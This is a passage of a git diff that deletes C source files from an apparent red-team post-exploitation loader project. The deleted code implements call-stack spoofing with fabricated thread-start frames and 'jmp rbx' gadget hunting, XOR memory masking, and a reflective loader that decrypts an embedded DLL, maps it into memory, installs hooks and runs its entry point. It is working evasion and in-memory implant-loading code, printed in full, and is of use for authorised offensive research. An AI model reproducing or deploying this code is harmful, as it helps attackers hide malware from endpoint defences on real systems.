DISCLAIMED. IN NO EVENT SHALL THE - * COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, - * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF - * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) - * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR - * TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, - * EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - */ - -#include -#include "hash.h" -#include "proxy.h" -#include "memory.h" - -#define RBP_OP_INFO 0x5 -#define draugrArg(i) (ULONG_PTR)functionCall->args[i] - -#define memset(x, y, z) __stosb((unsigned char *)x, y, z); -#define memcpy(x, y, z) __movsb((unsigned char *)x, (unsigned char *)y, z); - -DECLSPEC_IMPORT HMODULE WINAPI KERNEL32$LoadLibraryW (LPCWSTR); -DECLSPEC_IMPORT HMODULE WINAPI KERNEL32$LoadLibraryExW (LPCWSTR, HANDLE, DWORD); -DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAlloc (LPVOID, SIZE_T, DWORD, DWORD); -DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAllocEx (HANDLE, LPVOID, SIZE_T, DWORD, DWORD); -DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect (LPVOID, SIZE_T, DWORD, PDWORD); -DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtectEx (HANDLE, LPVOID, SIZE_T, DWORD, PDWORD); -DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualFree (LPVOID, SIZE_T, DWORD); -DECLSPEC_IMPORT SIZE_T WINAPI KERNEL32$VirtualQuery (LPCVOID, PMEMORY_BASIC_INFORMATION, SIZE_T); -DECLSPEC_IMPORT BOOL WINAPI KERNEL32$GetThreadContext (HANDLE, LPCONTEXT); -DECLSPEC_IMPORT BOOL WINAPI KERNEL32$SetThreadContext (HANDLE, const CONTEXT *); -DECLSPEC_IMPORT DWORD WINAPI KERNEL32$ResumeThread (HANDLE); -DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateThread (LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD); -DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateRemoteThread (HANDLE, LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD); -DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$OpenProcess (DWORD, BOOL, DWORD); -DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$OpenThread (DWORD, BOOL, DWORD); -DECLSPEC_IMPORT VOID WINAPI KERNEL32$ExitThread (DWORD); -DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CloseHandle (HANDLE); -DECLSPEC_IMPORT VOID WINAPI KERNEL32$Sleep (DWORD); -DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateFileMappingA (HANDLE, LPSECURITY_ATTRIBUTES, DWORD, DWORD, DWORD, LPCSTR); -DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$MapViewOfFile (HANDLE, DWORD, DWORD, DWORD, SIZE_T); -DECLSPEC_IMPORT BOOL WINAPI KERNEL32$UnmapViewOfFile (LPCVOID); -DECLSPEC_IMPORT BOOL WINAPI KERNEL32$DuplicateHandle (HANDLE, HANDLE, HANDLE, LPHANDLE, DWORD, BOOL, DWORD); -DECLSPEC_IMPORT BOOL WINAPI KERNEL32$ReadProcessMemory (HANDLE, LPCVOID, LPVOID, SIZE_T, SIZE_T *); -DECLSPEC_IMPORT BOOL WINAPI KERNEL32$WriteProcessMemory (HANDLE, LPVOID, LPCVOID, SIZE_T, SIZE_T *); -DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CreateProcessA (LPCSTR, LPSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCSTR, LPSTARTUPINFOA, LPPROCESS_INFORMATION); -DECLSPEC_IMPORT HMODULE WINAPI KERNEL32$GetModuleHandleA (LPCSTR); -DECLSPEC_IMPORT PRUNTIME_FUNCTION WINAPI KERNEL32$RtlLookupFunctionEntry (DWORD64, PDWORD64, PUNWIND_HISTORY_TABLE); -DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateTimerQueue (); -DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CreateTimerQueueTimer (PHANDLE, HANDLE, WAITORTIMERCALLBACK, PVOID, DWORD, DWORD, ULONG); -DECLSPEC_IMPORT VOID WINAPI KERNEL32$RtlCaptureContext (PCONTEXT); -DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$GetProcessHeap (); -DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$HeapAlloc (HANDLE, DWORD, SIZE_T); -DECLSPEC_IMPORT ULONG NTAPI NTDLL$RtlRandomEx (PULONG); -DECLSPEC_IMPORT ULONG NTAPI NTDLL$NtContinue (PCONTEXT, BOOLEAN); - -DECLSPEC_IMPORT int WINAPIV MSVCRT$_wcsicmp (const wchar_t *, const wchar_t *); -DECLSPEC_IMPORT wchar_t * WINAPIV MSVCRT$wcsrchr (const wchar_t *, wchar_t); - -/* the proxy pic */ -DECLSPEC_IMPORT PVOID SpoofStub(PVOID, PVOID, PVOID, PVOID, PDRAUGR_PARAMETERS, PVOID, SIZE_T, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID); - -// God Bless Vulcan Raven. -typedef struct _STACK_FRAME { - LPCWSTR DllPath; - ULONG Offset; - ULONGLONG TotalStackSize; - BOOL RequiresLoadLibrary; - BOOL SetsFramePointer; - PVOID ReturnAddress; - BOOL PushRbp; - ULONG CountOfCodes; - BOOL PushRbpIndex; -} STACK_FRAME, * PSTACK_FRAME; - -typedef enum _UNWIND_OP_CODES { - UWOP_PUSH_NONVOL = 0, - UWOP_ALLOC_LARGE, - UWOP_ALLOC_SMALL, - UWOP_SET_FPREG, - UWOP_SAVE_NONVOL, - UWOP_SAVE_NONVOL_FAR, - UWOP_SAVE_XMM128 = 8, - UWOP_SAVE_XMM128_FAR, - UWOP_PUSH_MACHFRAME -} UNWIND_CODE_OPS; - -typedef unsigned char UBYTE; - -typedef union _UNWIND_CODE { - struct { - UBYTE CodeOffset; - UBYTE UnwindOp : 4; - UBYTE OpInfo : 4; - }; - USHORT FrameOffset; -} UNWIND_CODE, *PUNWIND_CODE; - -typedef struct _UNWIND_INFO { - UBYTE Version : 3; - UBYTE Flags : 5; - UBYTE SizeOfProlog; - UBYTE CountOfCodes; - UBYTE FrameRegister : 4; - UBYTE FrameOffset : 4; - UNWIND_CODE UnwindCode[1]; -} UNWIND_INFO, *PUNWIND_INFO; - -typedef struct _FRAME_INFO { - PVOID ModuleAddress; - PVOID FunctionAddress; - DWORD Offset; -} FRAME_INFO, * PFRAME_INFO; - -typedef struct _SYNTHETIC_STACK_FRAME { - FRAME_INFO Frame1; - FRAME_INFO Frame2; - PVOID pGadget; -} SYNTHETIC_STACK_FRAME, * PSYNTHETIC_STACK_FRAME; - -typedef struct { - PVOID function; - int argc; - ULONG_PTR args[10]; -} FUNCTION_CALL, * PFUNCTION_CALL; - -typedef struct _DRAUGR_FUNCTION_CALL { - PFUNCTION_CALL FunctionCall; - PVOID StackFrame; - PVOID SpoofCall; -} DRAUGR_FUNCTION_CALL, *PDRAUGR_FUNCTION_CALL; - -SYNTHETIC_STACK_FRAME g_stackFrame; - -void applyxor(char * data, DWORD len); -void xorsection(MEMORY_SECTION * section, BOOL mask); -void xorregion(MEMORY_REGION * region, BOOL mask); -void xormemory(BOOL mask); - -void initFrameInfo() -{ - PVOID pModuleFrame1 = KERNEL32$GetModuleHandleA("kernel32.dll"); - PVOID pModuleFrame2 = KERNEL32$GetModuleHandleA("ntdll.dll"); - - g_stackFrame.Frame1.ModuleAddress = pModuleFrame1; - g_stackFrame.Frame1.FunctionAddress = (PVOID)GetProcAddress((HMODULE)pModuleFrame1, "BaseThreadInitThunk"); - g_stackFrame.Frame1.Offset = 0x17; - - g_stackFrame.Frame2.ModuleAddress = pModuleFrame2; - g_stackFrame.Frame2.FunctionAddress = (PVOID)GetProcAddress((HMODULE)pModuleFrame2, "RtlUserThreadStart"); - g_stackFrame.Frame2.Offset = 0x2c; - - g_stackFrame.pGadget = KERNEL32$GetModuleHandleA("KernelBase.dll"); -} - -BOOL getTextSectionSize(PVOID pModule, PDWORD pdwVirtualAddress, PDWORD pdwSize) -{ - PIMAGE_DOS_HEADER pImgDosHeader = (PIMAGE_DOS_HEADER)(pModule); - - if (pImgDosHeader->e_magic != IMAGE_DOS_SIGNATURE) { - return FALSE; - } - - PIMAGE_NT_HEADERS pImgNtHeaders = (PIMAGE_NT_HEADERS)((UINT_PTR)pModule + pImgDosHeader->e_lfanew); - - if (pImgNtHeaders->Signature != IMAGE_NT_SIGNATURE) { - return FALSE; - } - - PIMAGE_SECTION_HEADER pImgSectionHeader = IMAGE_FIRST_SECTION(pImgNtHeaders); - - for (int i = 0; i < pImgNtHeaders->FileHeader.NumberOfSections; i++) - { - DWORD h = hash((char*)pImgSectionHeader[i].Name); - - if (h == TEXT_HASH) - { - *pdwVirtualAddress = pImgSectionHeader[i].VirtualAddress; - *pdwSize = pImgSectionHeader[i].SizeOfRawData; - return TRUE; - } - } - - return FALSE; -} - -PVOID calculateFunctionStackSize(PRUNTIME_FUNCTION pRuntimeFunction, const DWORD64 imageBase) -{ - PUNWIND_INFO pUnwindInfo = NULL; - ULONG unwindOperation = 0; - ULONG operationInfo = 0; - ULONG index = 0; - ULONG frameOffset = 0; - - STACK_FRAME stackFrame; - memset(&stackFrame, 0, sizeof(stackFrame)); - - if (!pRuntimeFunction) { - return NULL; - } - - pUnwindInfo = (PUNWIND_INFO)(pRuntimeFunction->UnwindData + imageBase); - - while (index < pUnwindInfo->CountOfCodes) - { - unwindOperation = pUnwindInfo->UnwindCode[index].UnwindOp; - operationInfo = pUnwindInfo->UnwindCode[index].OpInfo; - - /* don't use switch as it produces jump tables */ - if (unwindOperation == UWOP_PUSH_NONVOL) - { - stackFrame.TotalStackSize += 8; - if (RBP_OP_INFO == operationInfo) { - stackFrame.PushRbp = TRUE; - stackFrame.CountOfCodes = pUnwindInfo->CountOfCodes; - stackFrame.PushRbpIndex = index + 1; - } - } - else if (unwindOperation == UWOP_SAVE_NONVOL) - { - index += 1; - } - else if (unwindOperation == UWOP_ALLOC_SMALL) - { - stackFrame.TotalStackSize += ((operationInfo * 8) + 8); - } - else if (unwindOperation == UWOP_ALLOC_LARGE) - { - index += 1; - frameOffset = pUnwindInfo->UnwindCode[index].FrameOffset; - if (operationInfo == 0) { - frameOffset *= 8; - } - else { - index += 1; - frameOffset += (pUnwindInfo->UnwindCode[index].FrameOffset << 16); - } - stackFrame.TotalStackSize += frameOffset; - } - else if (unwindOperation == UWOP_SET_FPREG) - { - stackFrame.SetsFramePointer = TRUE; - } - else if (unwindOperation == UWOP_SAVE_XMM128) - { - return NULL; - } - - index += 1; - } - - if (0 != (pUnwindInfo->Flags & UNW_FLAG_CHAININFO)) - { - index = pUnwindInfo->CountOfCodes; - if (0 != (index & 1)) { - index += 1; - } - - pRuntimeFunction = (PRUNTIME_FUNCTION)(&pUnwindInfo->UnwindCode[index]); - return calculateFunctionStackSize(pRuntimeFunction, imageBase); - } - - stackFrame.TotalStackSize += 8; - return (PVOID)(stackFrame.TotalStackSize); -} - -PVOID calculateFunctionStackSizeWrapper(PVOID returnAddress) -{ - PRUNTIME_FUNCTION pRuntimeFunction = NULL; - DWORD64 ImageBase = 0; - PUNWIND_HISTORY_TABLE pHistoryTable = NULL; - - if (!returnAddress) { - return NULL; - } - - pRuntimeFunction = KERNEL32$RtlLookupFunctionEntry((DWORD64)returnAddress, &ImageBase, pHistoryTable); - - if (NULL == pRuntimeFunction) { - return NULL; - } - - return calculateFunctionStackSize(pRuntimeFunction, ImageBase); -} - -PVOID findGadget(PVOID pModuleAddr) -{ - BOOL bFoundGadgets = FALSE; - DWORD dwTextSectionSize = 0; - DWORD dwTextSectionVa = 0; - DWORD dwCounter = 0; - ULONG seed = 0; - ULONG randomNbr = 0; - PVOID pModTextSection = NULL; - - PVOID pGadgetList[15]; - memset(&pGadgetList, 0, (sizeof(PVOID) * 8)); - - if (!bFoundGadgets) - { - if (!getTextSectionSize(pModuleAddr, &dwTextSectionVa, &dwTextSectionSize)) { - return NULL; - } - - pModTextSection = (PBYTE)((UINT_PTR)pModuleAddr + dwTextSectionVa); - - for (int i = 0; i < (dwTextSectionSize - 2); i++) - { - // Searching for jmp rbx gadget - if (((PBYTE)pModTextSection)[i] == 0xFF && ((PBYTE)pModTextSection)[i + 1] == 0x23) - { - pGadgetList[dwCounter] = (void*)((UINT_PTR)pModTextSection + i); - dwCounter++; - - if (dwCounter == 15) { - break; - } - } - } - - bFoundGadgets = TRUE; - } - - seed = 0x1337; - randomNbr = NTDLL$RtlRandomEx(&seed); - randomNbr %= dwCounter; - - return pGadgetList[randomNbr]; -} - -ULONG_PTR draugrWrapper(PVOID pFunctionAddr, PVOID pArg1, PVOID pArg2, PVOID pArg3, PVOID pArg4, PVOID pArg5, PVOID pArg6, PVOID pArg7, PVOID pArg8, PVOID pArg9, PVOID pArg10, PVOID pArg11, PVOID pArg12) -{ - int attempts = 0; - PVOID returnAddress = NULL; - - DRAUGR_PARAMETERS draugrParameters; - memset(&draugrParameters, 0, sizeof(DRAUGR_PARAMETERS)); - - // configure BaseThreadInitThunk frame - returnAddress = (void*)((UINT_PTR)g_stackFrame.Frame1.FunctionAddress + g_stackFrame.Frame1.Offset); - draugrParameters.BaseThreadInitThunkStackSize = calculateFunctionStackSizeWrapper(returnAddress); - draugrParameters.BaseThreadInitThunkReturnAddress = returnAddress; - - if (!draugrParameters.BaseThreadInitThunkStackSize || !draugrParameters.BaseThreadInitThunkReturnAddress) { - return (ULONG_PTR)(NULL); - } - - // configure RtlUserThreadStart frame. - returnAddress = (void*)((UINT_PTR)g_stackFrame.Frame2.FunctionAddress + g_stackFrame.Frame2.Offset); - draugrParameters.RtlUserThreadStartStackSize = calculateFunctionStackSizeWrapper(returnAddress); - draugrParameters.RtlUserThreadStartReturnAddress = returnAddress; - - if (!draugrParameters.RtlUserThreadStartStackSize || !draugrParameters.RtlUserThreadStartReturnAddress) { - return (ULONG_PTR)(NULL); - } - - /* - * Ensure that the gadget stack size is bigger than 0x80, which is min - * required to hold 10 arguments, otherwise it will crash sporadically. - */ - - do { - draugrParameters.Trampoline = findGadget(g_stackFrame.pGadget); - draugrParameters.TrampolineStackSize = calculateFunctionStackSizeWrapper(draugrParameters.Trampoline); - - attempts++; - - // quick sanity check for infinite loop - if (attempts > 15) { - return (ULONG_PTR)(NULL); - } - - } while (draugrParameters.TrampolineStackSize == NULL || ((__int64)draugrParameters.TrampolineStackSize < 0x80)); - - if (!draugrParameters.Trampoline || !draugrParameters.TrampolineStackSize) { - return (ULONG_PTR)(NULL); - } - - // make the call! - return (ULONG_PTR)SpoofStub(pArg1, pArg2, pArg3, pArg4, &draugrParameters, pFunctionAddr, 8, pArg5, pArg6, pArg7, pArg8, pArg9, pArg10, pArg11, pArg12); -} - -ULONG_PTR draugr(PFUNCTION_CALL functionCall) -{ - /* very inelegant */ - if (functionCall->argc == 0) { - return draugrWrapper(functionCall->function, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); - } else if (functionCall->argc == 1) { - return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); - } else if (functionCall->argc == 2) { - return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); - } else if (functionCall->argc == 3) { - return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); - } else if (functionCall->argc == 4) { - return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); - } else if (functionCall->argc == 5) { - return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), (PVOID)draugrArg(4), NULL, NULL, NULL, NULL, NULL, NULL, NULL); - } else if (functionCall->argc == 6) { - return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), (PVOID)draugrArg(4), (PVOID)draugrArg(5), NULL, NULL, NULL, NULL, NULL, NULL); - } else if (functionCall->argc == 7) { - return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), (PVOID)draugrArg(4), (PVOID)draugrArg(5), (PVOID)draugrArg(6), NULL, NULL, NULL, NULL, NULL); - } else if (functionCall->argc == 8) { - return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), (PVOID)draugrArg(4), (PVOID)draugrArg(5), (PVOID)draugrArg(6), (PVOID)draugrArg(7), NULL, NULL, NULL, NULL); - } else if (functionCall->argc == 9) { - return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), (PVOID)draugrArg(4), (PVOID)draugrArg(5), (PVOID)draugrArg(6), (PVOID)draugrArg(7), (PVOID)draugrArg(8), NULL, NULL, NULL); - } else if (functionCall->argc == 10) { - return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), (PVOID)draugrArg(4), (PVOID)draugrArg(5), (PVOID)draugrArg(6), (PVOID)draugrArg(7), (PVOID)draugrArg(8), (PVOID)draugrArg(9), NULL, NULL); - } else if (functionCall->argc == 11) { - return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), (PVOID)draugrArg(4), (PVOID)draugrArg(5), (PVOID)draugrArg(6), (PVOID)draugrArg(7), (PVOID)draugrArg(8), (PVOID)draugrArg(9), (PVOID)draugrArg(10), NULL); - } else if (functionCall->argc == 12) { - return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), (PVOID)draugrArg(4), (PVOID)draugrArg(5), (PVOID)draugrArg(6), (PVOID)draugrArg(7), (PVOID)draugrArg(8), (PVOID)draugrArg(9), (PVOID)draugrArg(10), (PVOID)draugrArg(11)); - } - - return (ULONG_PTR)(NULL); -} \ No newline at end of file diff --git a/postex-udrl/src/loader.c b/postex-udrl/src/loader.c deleted file mode 100644 index 64098df..0000000 --- a/postex-udrl/src/loader.c +++ /dev/null @@ -1,250 +0,0 @@ -/* - * Copyright 2025 Daniel Duggan, Zero-Point Security - * - * Redistribution and use in source and binary forms, with or without modification, are - * permitted provided that the following conditions are met: - * - * 1. Redistributions of source code must retain the above copyright notice, this list of - * conditions and the following disclaimer. - * - * 2. Redistributions in binary form must reproduce the above copyright notice, this list of - * conditions and the following disclaimer in the documentation and/or other materials provided - * with the distribution. - * - * 3. Neither the name of the copyright holder nor the names of its contributors may be used to - * endorse or promote products derived from this software without specific prior written - * permission. - * - * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS” AND ANY EXPRESS - * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF - * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE - * COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, - * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF - * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) - * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR - * TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, - * EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - */ - -#include -#include "loader.h" -#include "tp.h" -#include "proxy.h" - -#define WIN32_FUNC( x ) __typeof__( x ) * x - -typedef struct { - WIN32_FUNC(LoadLibraryA); - WIN32_FUNC(GetProcAddress); - DRAUGR Draugr; -} WIN32FUNCS; - -void go(); - -char _DRAUGR_[0] __attribute__((section("draugr"))); -char _HOOKS_[0] __attribute__((section("hooks"))); -char _DLL_[0] __attribute__((section("dll"))); -char _KEY_[0] __attribute__((section("key"))); - -void * AllocateVirtualMemory(SIZE_T size, ULONG protect) -{ - NTARGS args; - memset(&args, 0, sizeof(NTARGS)); - - void * baseAddress = NULL; - - args.functionPtr = (ULONG_PTR)(NTDLL$NtAllocateVirtualMemory); - args.argument1 = (ULONG_PTR)(HANDLE)(-1); - args.argument2 = (ULONG_PTR)(&baseAddress); - args.argument3 = (ULONG_PTR)(0); - args.argument4 = (ULONG_PTR)(&size); - args.argument5 = (ULONG_PTR)(MEM_COMMIT|MEM_RESERVE); - args.argument6 = (ULONG_PTR)(protect); - - ProxyNtApi(&args); - - return baseAddress; -} - -void ProtectVirtualMemory(void * baseAddress, SIZE_T size, ULONG newProtect) -{ - NTARGS args; - memset(&args, 0, sizeof(NTARGS)); - - ULONG oldProtect = 0; - - args.functionPtr = (ULONG_PTR)(NTDLL$NtProtectVirtualMemory); - args.argument1 = (ULONG_PTR)(HANDLE)(-1); - args.argument2 = (ULONG_PTR)(&baseAddress); - args.argument3 = (ULONG_PTR)(&size); - args.argument4 = (ULONG_PTR)(newProtect); - args.argument5 = (ULONG_PTR)(&oldProtect); - - ProxyNtApi(&args); -} - -void FreeVirtualMemory(void * baseAddress) -{ - NTARGS args; - memset(&args, 0, sizeof(NTARGS)); - - SIZE_T size = 0; - - args.functionPtr = (ULONG_PTR)(NTDLL$NtFreeVirtualMemory); - args.argument1 = (ULONG_PTR)(HANDLE)(-1); - args.argument2 = (ULONG_PTR)(&baseAddress); - args.argument3 = (ULONG_PTR)(&size); - args.argument4 = (ULONG_PTR)(MEM_RELEASE); - - ProxyNtApi(&args); -} - -void FixSectionPermissions(DLLDATA * dll, char * src, char * dst, MEMORY_REGION * region, RDATA_SECTION * rdata) -{ - DWORD numberOfSections = dll->NtHeaders->FileHeader.NumberOfSections; - IMAGE_SECTION_HEADER * sectionHdr = NULL; - void * sectionDst = NULL; - DWORD sectionSize = 0; - DWORD newProtect = 0; - - sectionHdr = (IMAGE_SECTION_HEADER *)PTR_OFFSET(dll->OptionalHeader, dll->NtHeaders->FileHeader.SizeOfOptionalHeader); - - for (int i = 0; i < numberOfSections; i++) - { - sectionDst = dst + sectionHdr->VirtualAddress; - sectionSize = sectionHdr->SizeOfRawData; - - if (sectionHdr->Characteristics & IMAGE_SCN_MEM_WRITE) { - newProtect = PAGE_WRITECOPY; - } - if (sectionHdr->Characteristics & IMAGE_SCN_MEM_READ) { - newProtect = PAGE_READONLY; - } - if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_READ) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_WRITE)) { - newProtect = PAGE_READWRITE; - } - if (sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE) { - newProtect = PAGE_EXECUTE; - } - if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_READ)) { - newProtect = PAGE_EXECUTE_WRITECOPY; - } - if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_READ)) { - newProtect = PAGE_EXECUTE_READ; - } - if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_READ) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_WRITE) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE)) { - newProtect = PAGE_EXECUTE_READWRITE; - } - - /* set new permission */ - ProtectVirtualMemory(sectionDst, sectionSize, newProtect); - - /* track memory */ - region->sections[i].baseAddress = sectionDst; - region->sections[i].size = sectionSize; - region->sections[i].currentProtect = newProtect; - region->sections[i].previousProtect = newProtect; - - if (MSVCRT$strncmp((char *)sectionHdr->Name, ".rdata", IMAGE_SIZEOF_SHORT_NAME) == 0) - { - rdata->start = sectionDst; - rdata->length = sectionSize; - rdata->offset = dll->NtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IAT].Size; - } - - /* advance to our next section */ - sectionHdr++; - } -} - -void go(void * loaderArgument) -{ - WIN32FUNCS funcs; - memset(&funcs, 0, sizeof(WIN32FUNCS)); - - /* set funcs */ - funcs.LoadLibraryA = LoadLibraryA; - funcs.GetProcAddress = GetProcAddress; - - MEMORY_LAYOUT layout; - memset(&layout, 0, sizeof(MEMORY_LAYOUT)); - - /* get draugr pic */ - RESOURCE * draugr = (RESOURCE *)GETRESOURCE(_DRAUGR_); - - /* load it into memory */ - char * pic = AllocateVirtualMemory(draugr->length, PAGE_READWRITE); - memcpy(pic, draugr->value, draugr->length); - ProtectVirtualMemory(pic, draugr->length, PAGE_EXECUTE_READ); - - layout.pic.baseAddress = pic; - layout.pic.size = draugr->length; - - funcs.Draugr = (DRAUGR)(pic); - - /* get hooking pico */ - char * hooks = GETRESOURCE(_HOOKS_); - - /* load it into memory */ - PICO * pico = (PICO *)AllocateVirtualMemory(sizeof(PICO), PAGE_READWRITE); - PicoLoad((IMPORTFUNCS *)&funcs, hooks, pico->code, pico->data); - ProtectVirtualMemory(pico->code, PicoCodeSize(hooks), PAGE_EXECUTE_READ); - - /* record layout */ - layout.hooks.baseAddress = (char *)(pico); - layout.hooks.size = sizeof(PICO); - layout.hooks.sections[0].baseAddress = pico->data; - layout.hooks.sections[0].size = PicoDataSize(hooks); - layout.hooks.sections[0].currentProtect = PAGE_READWRITE; - layout.hooks.sections[0].previousProtect = PAGE_READWRITE; - layout.hooks.sections[1].baseAddress = pico->code; - layout.hooks.sections[1].size = PicoCodeSize(hooks); - layout.hooks.sections[1].currentProtect = PAGE_EXECUTE_READ; - layout.hooks.sections[1].previousProtect = PAGE_EXECUTE_READ; - - /* get pico entry point */ - PICOHOOK_ENTRY picoEntry = (PICOHOOK_ENTRY)PicoEntryPoint(hooks, pico->code); - - /* call it to install the hooks */ - picoEntry((IMPORTFUNCS *)&funcs, &layout); - - /* get the masked dll and key */ - RESOURCE * dll = (RESOURCE *)GETRESOURCE(_DLL_); - RESOURCE * key = (RESOURCE *)GETRESOURCE(_KEY_); - - /* unmask the dll into memory */ - char * src = AllocateVirtualMemory(dll->length, PAGE_READWRITE); - for (int i = 0; i < dll->length; i++) { - src[i] = dll->value[i] ^ key->value[i % key->length]; - } - - /* parse dll header */ - DLLDATA data; - ParseDLL(src, &data); - - /* loader it into memory */ - char * dst = AllocateVirtualMemory(SizeOfDLL(&data), PAGE_READWRITE); - - LoadDLL(&data, src, dst); - ProcessImports((IMPORTFUNCS *)&funcs, &data, dst); - - layout.dll.baseAddress = dst; - layout.dll.size = SizeOfDLL(&data); - - RDATA_SECTION rdata; - memset(&rdata, 0, sizeof(RDATA_SECTION)); - FixSectionPermissions(&data, src, dst, &layout.dll, &rdata); - - /* call hook pico again to provide the updated memory layout */ - picoEntry((IMPORTFUNCS *)&funcs, &layout); - - /* get entry point */ - DLLMAIN_FUNC dllMain = EntryPoint(&data, dst); - - /* free unmasked copy */ - FreeVirtualMemory(src); - - /* call entry point */ - dllMain((HINSTANCE)dst, DLL_PROCESS_ATTACH, NULL); - dllMain((HINSTANCE)GETRESOURCE(go), 0x4, loaderArgument); -} \ No newline at end of file diff --git a/postex-udrl/src/loader.h b/postex-udrl/src/loader.h deleted file mode 100644 index 4411788..0000000 --- a/postex-udrl/src/loader.h +++ /dev/null @@ -1,69 +0,0 @@ -/* - * Copyright 2025 Daniel Duggan, Zero-Point Security - * - * Redistribution and use in source and binary forms, with or without modification, are - * permitted provided that the following conditions are met: - * - * 1. Redistributions of source code must retain the above copyright notice, this list of - * conditions and the following disclaimer. - * - * 2. Redistributions in binary form must reproduce the above copyright notice, this list of - * conditions and the following disclaimer in the documentation and/or other materials provided - * with the distribution. - * - * 3. Neither the name of the copyright holder nor the names of its contributors may be used to - * endorse or promote products derived from this software without specific prior written - * permission. - * - * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS” AND ANY EXPRESS - * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF - * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE - * COPYRIGHT HOLDER OR 